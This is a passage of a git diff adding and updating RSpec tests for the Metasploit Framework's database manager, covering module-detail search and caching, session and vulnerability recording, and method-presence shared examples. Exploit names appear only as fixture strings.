{ |module_author| + module_author.name == search_string + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Detail' do + let(:target_module_detail) do + all_module_details.first + end + + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 3) + end + + context 'with #description' do + let(:search_string) do + # use inspect to quote spaces in string + target_module_detail.description.inspect + end + + it 'should match Mdm::Module::Detail#description' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.description == target_module_detail.description + }.should be_truthy + end + end + + context 'with #fullname' do + let(:search_string) do + target_module_detail.fullname + end + + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.fullname == search_string + }.should be_truthy + end + end + + context 'with #name' do + let(:search_string) do + # use inspect to quote spaces in string + target_module_detail.name.inspect + end + + it 'should match Mdm::Module::Detail#name' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_truthy + end + end + end + + context 'with Mdm::Module::Platform#name' do + let(:search_string) do + module_platform.name + end + + let!(:module_platform) do + FactoryGirl.create(:mdm_module_platform) + end + + it 'should match Mdm::Module::Platform#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == search_string + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Ref#name' do + let(:search_string) do + module_ref.name + end + + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == search_string + } + }.should be_truthy + end + end + + context 'with Mdm::Module::Target#name' do + let(:search_string) do + module_target.name + end + + let!(:module_target) do + FactoryGirl.create(:mdm_module_target) + end + + it 'should match Mdm::Module::Target#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == search_string + } + }.should be_truthy + end + end + end + end + + context '#update_all_module_details' do + def update_all_module_details + db_manager.update_all_module_details + end + + let(:migrated) do + false + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let(:modules_caching) do + true + end + + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end + + context 'with modules_caching' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without modules_caching' do + let(:modules_caching) do + false + end + + it 'should set framework.cache_thread to current thread and then nil' do + framework.should_receive(:cache_thread=).with(Thread.current).ordered + framework.should_receive(:cache_thread=).with(nil).ordered + + update_all_module_details + end + + it 'should set modules_cached to false and then true' do + db_manager.should_receive(:modules_cached=).with(false).ordered + db_manager.should_receive(:modules_cached=).with(true).ordered + + update_all_module_details + end + + it 'should set modules_caching to true and then false' do + db_manager.should_receive(:modules_caching=).with(true).ordered + db_manager.should_receive(:modules_caching=).with(false).ordered + + update_all_module_details + end + + context 'with Mdm::Module::Details' do + let(:module_pathname) do + parent_pathname.join( + 'exploits', + "#{reference_name}.rb" + ) + end + + let(:modification_time) do + module_pathname.mtime + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + let!(:module_detail) do + # needs to reference a real module so that it can be loaded + FactoryGirl.create( + :mdm_module_detail, + :file => module_pathname.to_path, + :mtime => modification_time, + :mtype => type, + :ready => ready, + :refname => reference_name + ) + end + + context '#ready' do + context 'false' do + let(:ready) do + false + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + + context 'true' do + let(:ready) do + true + end + + context 'with existing Mdm::Module::Detail#file' do + context 'with same Mdm::Module::Detail#mtime and File.mtime' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without same Mdm::Module::Detail#mtime and File.mtime' do + let(:modification_time) do + # +1 as rand can return 0 and the time must be different for + # this context. + super() - (rand(1.day) + 1) + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + end + + # Emulates a module being removed or renamed + context 'without existing Mdm::Module::Detail#file' do + # have to compute modification manually since the + # `module_pathname` refers to a non-existent file and + # `module_pathname.mtime` would error. + let(:modification_time) do + Time.now.utc - 1.day + end + + let(:module_pathname) do + parent_pathname.join('exploits', 'deleted.rb') + end + + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + end + end + end + end + + context 'without migrated' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + + context '#update_module_details' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + def update_module_details + db_manager.update_module_details(module_instance) + end + + let(:loader) do + loader = framework.modules.send(:loaders).find { |loader| + loader.loadable?(parent_path) + } + + # Override load_error so that rspec will print it instead of going to framework log + def loader.load_error(module_path, error) + raise error + end + + loader + end + + let(:migrated) do + false + end + + let(:module_instance) do + # make sure the module is loaded into the module_set + loaded = loader.load_module(parent_path, module_type, module_reference_name) + + unless loaded + module_path = loader.module_path(parent_path, type, module_reference_name) + + fail "#{description} failed to load: #{module_path}" + end + + module_set.create(module_reference_name) + end + + let(:module_set) do + framework.modules.module_set(module_type) + end + + let(:module_type) do + 'exploit' + end + + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + parent_pathname.to_path + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:type_directory) do + 'exploits' + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do + db_manager.should_receive(:module_to_details_hash).and_call_original + + update_module_details + end + + it 'should create an Mdm::Module::Detail' do + expect { + update_module_details + }.to change(Mdm::Module::Detail, :count).by(1) + end + + + context 'module_to_details_hash' do + let(:module_to_details_hash) do + { + :mtype => module_type, + :privileged => privileged, + :rank => rank, + :refname => module_reference_name, + :stance => stance + } + end + + let(:privileged) do + FactoryGirl.generate :mdm_module_detail_privileged + end + + let(:rank) do + FactoryGirl.generate :mdm_module_detail_rank + end + + let(:stance) do + FactoryGirl.generate :mdm_module_detail_stance + end + + before(:each) do + db_manager.stub( + :module_to_details_hash + ).with( + module_instance + ).and_return( + module_to_details_hash + ) + end + + context 'Mdm::Module::Detail' do + subject(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.mtype).to eq(module_type) } + it { expect(subject.privileged).to eq(privileged) } + it { expect(subject.rank).to eq(rank) } + it { expect(subject.ready).to be_truthy } + it { expect(subject.refname).to eq(module_reference_name) } + it { expect(subject.stance).to eq(stance) } + end + + context 'with :bits' do + let(:bits) do + [] + end + + before(:each) do + module_to_details_hash[:bits] = bits + end + + context 'with :action' do + let(:name) do + FactoryGirl.generate :mdm_module_action_name + end + + let(:bits) do + super() << [ + :action, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Action' do + expect { + update_module_details + }.to change(Mdm::Module::Action, :count).by(1) + end + + context 'Mdm::Module::Action' do + subject(:module_action) do + module_detail.actions.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.name).to eq(name) } + end + end + + context 'with :arch' do + let(:name) do + FactoryGirl.generate :mdm_module_arch_name + end + + let(:bits) do + super() << [ + :arch, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Arch' do + expect { + update_module_details + }.to change(Mdm::Module::Arch, :count).by(1) + end + + context 'Mdm::Module::Arch' do + subject(:module_arch) do + module_detail.archs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.name).to eq(name) } + end + end + + context 'with :author' do + let(:email) do + FactoryGirl.generate :mdm_module_author_email + end + + let(:name) do + FactoryGirl.generate :mdm_module_author_name + end + + let(:bits) do + super() << [ + :author, + { + :email => email, + :name => name + } + ] + end + + it 'should create an Mdm::Module::Author' do + expect { + update_module_details + }.to change(Mdm::Module::Author, :count).by(1) + end + + context 'Mdm::Module::Author' do + subject(:module_author) do + module_detail.authors.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.name).to eq(name) } + it { expect(subject.email).to eq(email) } + end + end + + context 'with :platform' do + let(:bits) do + super() << [ + :platform, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_platform_name + end + + it 'should create an Mdm::Module::Platform' do + expect { + update_module_details + }.to change(Mdm::Module::Platform, :count).by(1) + end + + context 'Mdm::Module::Platform' do + subject(:module_platform) do + module_detail.platforms.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.name).to eq(name) } + end + end + + context 'with :ref' do + let(:bits) do + super() << [ + :ref, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_ref_name + end + + it 'should create an Mdm::Module::Ref' do + expect { + update_module_details + }.to change(Mdm::Module::Ref, :count).by(1) + end + + context 'Mdm::Module::Ref' do + subject(:module_ref) do + module_detail.refs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.name).to eq(name) } + end + end + + context 'with :target' do + let(:bits) do + super() << [ + :target, + { + :index => index, + :name => name + } + ] + end + + let(:index) do + FactoryGirl.generate :mdm_module_target_index + end + + let(:name) do + FactoryGirl.generate :mdm_module_target_name + end + + it 'should create an Mdm::Module::Target' do + expect { + update_module_details + }.to change(Mdm::Module::Target, :count).by(1) + end + + context 'Mdm::Module::Target' do + subject(:module_target) do + module_detail.targets.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + it { expect(subject.index).to eq(index) } + it { expect(subject.name).to eq(name) } + end + end + end + end + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'admin/2wire/xslt_password_reset', + :type => 'auxiliary' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'generic/none', + :type => 'encoder' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'windows/smb/ms08_067_netapi', + :type => 'exploit' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'x64/simple', + :type => 'nop' + + # @todo determine how to load a single payload to test payload type outside of msfconsole + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'windows/escalate/screen_unlock', + :type => 'post' + end + + context 'without migrated' do + it 'should not create an Mdm::Module::Detail' do + expect { + update_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/note.rb b/spec/support/shared/examples/msf/db_manager/note.rb new file mode 100644 index 0000000000..d122bfc1c2 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/note.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Note' do + it { is_expected.to respond_to :each_note } + it { is_expected.to respond_to :find_or_create_note } + it { is_expected.to respond_to :notes } + it { is_expected.to respond_to :report_note } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/ref.rb b/spec/support/shared/examples/msf/db_manager/ref.rb new file mode 100644 index 0000000000..28d4fa4c39 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/ref.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Ref' do + it { is_expected.to respond_to :find_or_create_ref } + it { is_expected.to respond_to :get_ref } + it { is_expected.to respond_to :has_ref? } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/report.rb b/spec/support/shared/examples/msf/db_manager/report.rb new file mode 100644 index 0000000000..575df97849 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/report.rb @@ -0,0 +1,6 @@ +shared_examples_for 'Msf::DBManager::Report' do + it { is_expected.to respond_to :find_or_create_report } + it { is_expected.to respond_to :report_artifact } + it { is_expected.to respond_to :report_report } + it { is_expected.to respond_to :reports } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/route.rb b/spec/support/shared/examples/msf/db_manager/route.rb new file mode 100644 index 0000000000..e3d1212a2e --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/route.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::Route' do + it { is_expected.to respond_to :report_session_route } + it { is_expected.to respond_to :report_session_route_remove } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index 72fbe69f84..ee7aa479bb 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -25,13 +25,13 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or module_detail.platforms.any? { |module_platform| module_platform.name == self.module_platform.name } - }.should be_true + }.should be_truthy end end context 'with Mdm::Module::Target#name' do let(:name) do - # use inspect to quote spaces in string + # use inspect to quote spaces in string module_target.name.inspect end @@ -42,8 +42,8 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or module_detail.targets.any? { |module_target| module_target.name == self.module_target.name } - }.should be_true + }.should be_truthy end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index 7c9edb2002..30d7d943fd 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -31,7 +31,7 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword module_detail.refs.any? { |module_ref| module_ref.name == name } - }.should be_true + }.should be_truthy end end @@ -41,4 +41,4 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword end end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/service.rb b/spec/support/shared/examples/msf/db_manager/service.rb new file mode 100644 index 0000000000..df24b93ae5 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/service.rb @@ -0,0 +1,8 @@ +shared_examples_for 'Msf::DBManager::Service' do + it { is_expected.to respond_to :del_service } + it { is_expected.to respond_to :each_service } + it { is_expected.to respond_to :find_or_create_service } + it { is_expected.to respond_to :get_service } + it { is_expected.to respond_to :report_service } + it { is_expected.to respond_to :services } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/session.rb b/spec/support/shared/examples/msf/db_manager/session.rb new file mode 100644 index 0000000000..36b86fd84f --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/session.rb @@ -0,0 +1,644 @@ +shared_examples_for 'Msf::DBManager::Session' do + it { is_expected.to respond_to :get_session } + + context '#report_session' do + let(:options) do + {} + end + + subject(:report_session) do + db_manager.report_session(options) + end + + context 'with active' do + let(:active) do + true + end + + context 'with :session' do + before(:each) do + options[:session] = session + end + + context 'with Msf::Session' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + let(:exploit_datastore) do + Msf::ModuleDataStore.new(module_instance).tap do |datastore| + datastore['ParentModule'] = parent_module_fullname + + remote_port = rand(2 ** 16 - 1) + datastore['RPORT'] = remote_port + end + end + + let(:host) do + FactoryGirl.create(:mdm_host, :workspace => session_workspace) + end + + let(:module_instance) do + name = 'multi/handler' + + double( + 'Msf::Module', + :fullname => "exploit/#{name}", + :framework => framework, + :name => name + ) + end + + let(:options_workspace) do + FactoryGirl.create(:mdm_workspace) + end + + let(:parent_module_fullname) do + "exploit/#{parent_module_name}" + end + + let(:parent_module_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + Metasploit::Framework.root.join('modules').to_path + end + + let(:session) do + session_class.new.tap do |session| + session.exploit_datastore = exploit_datastore + session.info = 'Info' + session.platform = 'Platform' + session.session_host = host.address + session.sid = rand(100) + session.type = 'Session Type' + session.via_exploit = 'exploit/multi/handler' + session.via_payload = 'payload/single/windows/metsvc_bind_tcp' + session.workspace = session_workspace.name + end + end + + let(:session_class) do + Class.new do + include Msf::Session + + attr_accessor :datastore + attr_accessor :platform + attr_accessor :type + attr_accessor :via_exploit + attr_accessor :via_payload + end + end + + let(:session_workspace) do + FactoryGirl.create(:mdm_workspace) + end + + before(:each) do + reference_name = 'multi/handler' + path = File.join(parent_path, 'exploits', reference_name) + + # fake cache data for exploit/multi/handler so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => 'exploit', + } + } + ) + + FactoryGirl.create( + :mdm_module_detail, + :fullname => parent_module_fullname, + :name => parent_module_name + ) + end + + context 'with :workspace' do + before(:each) do + options[:workspace] = options_workspace + end + + it 'should not find workspace from session' do + db_manager.should_not_receive(:find_workspace) + + report_session + end + end + + context 'without :workspace' do + it 'should find workspace from session' do + db_manager.should_receive(:find_workspace).with(session.workspace).and_call_original + + report_session + end + + it 'should pass session.workspace to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :workspace => session_workspace + ) + ).and_return(host) + + report_session + end + end + + context 'with workspace from either :workspace or session' do + it 'should pass normalized host from session as :host to #find_or_create_host' do + normalized_host = double('Normalized Host') + db_manager.stub(:normalize_host).with(session).and_return(normalized_host) + # stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere. + db_manager.stub(:report_vuln) + + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :host => normalized_host + ) + ).and_return(host) + + report_session + end + + context 'with session responds to arch' do + let(:arch) do + FactoryGirl.generate :mdm_host_arch + end + + before(:each) do + session.stub(:arch => arch) + end + + it 'should pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_including( + :arch => arch + ) + ).and_call_original + + report_session + end + end + + context 'without session responds to arch' do + it 'should not pass :arch to #find_or_create_host' do + db_manager.should_receive(:find_or_create_host).with( + hash_excluding( + :arch + ) + ).and_call_original + + report_session + end + end + + it 'should create an Mdm::Session' do + expect { + report_session + }.to change(Mdm::Session, :count).by(1) + end + + it { should be_an Mdm::Session } + + it 'should set session.db_record to created Mdm::Session' do + mdm_session = report_session + + session.db_record.should == mdm_session + end + + context 'with session.via_exploit' do + it 'should create session.via_exploit module' do + framework.modules.should_receive(:create).with(session.via_exploit).and_call_original + + report_session + end + + it 'should create Mdm::Vuln' do + expect { + report_session + }.to change(Mdm::Vuln, :count).by(1) + end + + context 'created Mdm::Vuln' do + let(:mdm_session) do + Mdm::Session.last + end + + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:vuln) do + Mdm::Vuln.last + end + + it { expect(subject.host).to eq(Mdm::Host.last) } + it { expect(subject.refs).to eq([]) } + it { expect(subject.exploited_at).to be_within(1.second).of(Time.now.utc) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.exploit_datastore['ParentModule']" do + it { expect(subject.info).to eq("Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}") } + it { expect(subject.name).to eq(parent_module_name) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + before(:each) do + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it { expect(subject.info).to eq("Exploited by #{session.via_exploit} to create Session #{mdm_session.id}") } + it { expect(subject.name).to eq(reference_name) } + end + + context 'with RPORT' do + let(:rport) do + # use service.port instead of having service use rport so + # that service is forced to exist before call to + # report_service, which happens right after using rport in + # outer context's before(:each) + service.port + end + + let(:service) do + FactoryGirl.create( + :mdm_service, + :host => host + ) + end + + it { expect(subject.service).to eq(service) } + end + + context 'without RPORT' do + it { expect(subject.service).to be_nil } + end + end + + context 'created Mdm::ExploitAttempt' do + let(:rport) do + nil + end + + before(:each) do + Timecop.freeze + + session.exploit_datastore['RPORT'] = rport + + report_session + end + + after(:each) do + Timecop.return + end + + subject(:exploit_attempt) do + Mdm::ExploitAttempt.last + end + + it { expect(subject.attempted_at).to be_within(1.second).of(Time.now.utc) } + # @todo https://www.pivotaltracker.com/story/show/48362615 + it { expect(subject.session_id).to eq(Mdm::Session.last.id) } + it { expect(subject.exploited).to be_truthy } + # @todo https://www.pivotaltracker.com/story/show/48362615 + it { expect(subject.vuln_id).to eq(Mdm::Vuln.last.id) } + + context "with session.via_exploit 'exploit/multi/handler'" do + context "with session.datastore['ParentModule']" do + it { expect(subject.module).to eq(parent_module_fullname) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + session.via_exploit = parent_module_fullname + end + + it { expect(subject.module).to eq(session.via_exploit) } + end + end + end + + context 'returned Mdm::Session' do + before(:each) do + Timecop.freeze + end + + after(:each) do + Timecop.return + end + + subject(:mdm_session) do + report_session + end + + # + # Ensure session has attributes present so its on mdm_session are + # not just comparing nils. + # + + it 'should have session.info present' do + session.info.should be_present + end + + it 'should have session.sid present' do + session.sid.should be_present + end + + it 'should have session.platform present' do + session.platform.should be_present + end + + it 'should have session.type present' do + session.type.should be_present + end + + it 'should have session.via_exploit present' do + session.via_exploit.should be_present + end + + it 'should have session.via_payload present' do + session.via_exploit.should be_present + end + + it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) } + it { expect(subject.desc).to eq(session.info) } + it { expect(subject.host_id).to eq(Mdm::Host.last.id) } + it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) } + it { expect(subject.local_id).to eq(session.sid) } + it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) } + it { expect(subject.platform).to eq(session.platform) } + it { expect(subject.routes).to eq([]) } + it { expect(subject.stype).to eq(session.type) } + it { expect(subject.via_payload).to eq(session.via_payload) } + + context "with session.via_exploit 'exploit/multi/handler'" do + it "should have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should == 'exploit/multi/handler' + end + + context "with session.exploit_datastore['ParentModule']" do + it "should have session.exploit_datastore['ParentModule']" do + session.exploit_datastore['ParentModule'].should_not be_nil + end + + it { expect(subject.via_exploit).to eq(parent_module_fullname) } + end + end + + context "without session.via_exploit 'exploit/multi/handler'" do + before(:each) do + reference_name = 'windows/smb/ms08_067_netapi' + path = File.join( + parent_path, + 'exploits', + "#{reference_name}.rb" + ) + type = 'exploit' + + # fake cache data for ParentModule so it can be loaded + framework.modules.send( + :module_info_by_path=, + { + path => + { + :parent_path => parent_path, + :reference_name => reference_name, + :type => type, + } + } + ) + + session.via_exploit = "#{type}/#{reference_name}" + end + + it "should not have session.via_exploit of 'exploit/multi/handler'" do + session.via_exploit.should_not == 'exploit/multi/handler' + end + + it { expect(subject.via_exploit).to eq(session.via_exploit) } + end + end + end + end + + context 'without Msf::Session' do + let(:session) do + double('Not a Msf::Session') + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :session, expected Msf::Session") + end + end + end + + context 'without :session' do + context 'with :host' do + before(:each) do + options[:host] = host + end + + context 'with Mdm::Host' do + let(:host) do + FactoryGirl.create(:mdm_host) + end + + context 'created Mdm::Session' do + let(:closed_at) do + nil + end + + let(:close_reason) do + 'Closed because...' + end + + let(:description) do + 'Session Description' + end + + let(:exploit_full_name) do + 'exploit/windows/smb/ms08_067_netapi' + end + + let(:last_seen) do + nil + end + + let(:opened_at) do + Time.now.utc - 5.minutes + end + + let(:payload_full_name) do + 'payload/singles/windows/metsvc_reverse_tcp' + end + + let(:platform) do + 'Host Platform' + end + + let(:routes) do + nil + end + + let(:session_type) do + 'Session Type' + end + + before(:each) do + options[:closed_at] = closed_at + options[:close_reason] = close_reason + options[:desc] = description + options[:last_seen] = last_seen + options[:opened_at] = opened_at + options[:platform] = platform + options[:routes] = routes + options[:stype] = session_type + options[:via_payload] = payload_full_name + options[:via_exploit] = exploit_full_name + end + + subject(:mdm_session) do + report_session + end + + it { expect(subject.close_reason).to eq(close_reason) } + it { expect(subject.desc).to eq(description) } + it { expect(subject.host).to eq(host) } + it { expect(subject.platform).to eq(platform) } + it { expect(subject.stype).to eq(session_type) } + it { expect(subject.via_exploit).to eq(exploit_full_name) } + it { expect(subject.via_payload).to eq(payload_full_name) } + + context 'with :last_seen' do + let(:last_seen) do + opened_at + end + + it { expect(subject.last_seen).to eq(last_seen) } + end + + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + it { expect(subject.closed_at).to eq(closed_at) } + end + + context 'without :closed_at' do + it { expect(subject.closed_at).to be_nil } + end + + context 'without :last_seen' do + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + it { expect(subject.last_seen).to eq(closed_at) } + end + + context 'without :closed_at' do + it { expect(subject.last_seen).to be_nil } + end + end + + context 'with :routes' do + let(:routes) do + FactoryGirl.build_list( + :mdm_route, + 1, + :session => nil + ) + end + + it { expect(subject.routes).to eq(routes) } + end + + context 'without :routes' do + it { expect(subject.routes).to eq([]) } + end + end + end + + context 'without Mdm::Host' do + let(:host) do + '192.168.0.1' + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :host, expected Host object") + end + end + end + + context 'without :host' do + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError) + end + end + end + end + + context 'without active' do + let(:active) do + false + end + + it { should be_nil } + + it 'should not create a connection' do + ActiveRecord::Base.connection_pool.should_not_receive(:with_connection) + + report_session + end + end + end +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/session_event.rb b/spec/support/shared/examples/msf/db_manager/session_event.rb new file mode 100644 index 0000000000..51c244670b --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/session_event.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::SessionEvent' do + it { is_expected.to respond_to :report_session_event } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/task.rb b/spec/support/shared/examples/msf/db_manager/task.rb new file mode 100644 index 0000000000..73415af730 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/task.rb @@ -0,0 +1,5 @@ +shared_examples_for 'Msf::DBManager::Task' do + it { is_expected.to respond_to :find_or_create_task } + it { is_expected.to respond_to :report_task } + it { is_expected.to respond_to :tasks } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 8e682b0298..af60cff7ff 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -7,6 +7,8 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do end context 'with cached module in Msf::ModuleSet' do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + let(:module_set) do framework.exploits end @@ -57,4 +59,4 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do update_all_module_details end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb index adc5887f25..54a4f18885 100644 --- a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb +++ b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb @@ -23,4 +23,4 @@ shared_examples_for 'Msf::DBManager#update_module_details with module' do |optio }.to_not raise_error end end -end \ No newline at end of file +end diff --git a/spec/support/shared/examples/msf/db_manager/vuln.rb b/spec/support/shared/examples/msf/db_manager/vuln.rb new file mode 100644 index 0000000000..f642b50828 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/vuln.rb @@ -0,0 +1,10 @@ +shared_examples_for 'Msf::DBManager::Vuln' do + it { is_expected.to respond_to :each_vuln } + it { is_expected.to respond_to :find_or_create_vuln } + it { is_expected.to respond_to :find_vuln_by_details } + it { is_expected.to respond_to :find_vuln_by_refs } + it { is_expected.to respond_to :get_vuln } + it { is_expected.to respond_to :has_vuln? } + it { is_expected.to respond_to :report_vuln } + it { is_expected.to respond_to :vulns } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/vuln_attempt.rb b/spec/support/shared/examples/msf/db_manager/vuln_attempt.rb new file mode 100644 index 0000000000..37b3ec9871 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/vuln_attempt.rb @@ -0,0 +1,3 @@ +shared_examples_for 'Msf::DBManager::VulnAttempt' do + it { is_expected.to respond_to :report_vuln_attempt } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/vuln_detail.rb b/spec/support/shared/examples/msf/db_manager/vuln_detail.rb new file mode 100644 index 0000000000..a44a357ca7 --- /dev/null +++ b/spec/support/shared/examples/msf/db_manager/vuln_detail.rb @@ -0,0 +1,4 @@ +shared_examples_for 'Msf::DBManager::VulnDetail' do + it { is_expected.to respond_to :report_vuln_details } + it { is_expected.to respond_to :update_vuln_details } +end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/web.rb b/spec/support/shared/examples/msf/db_manager/web.rb new file mode 100644 index 0000000000..ba0335b115 --- /dev/null +++ 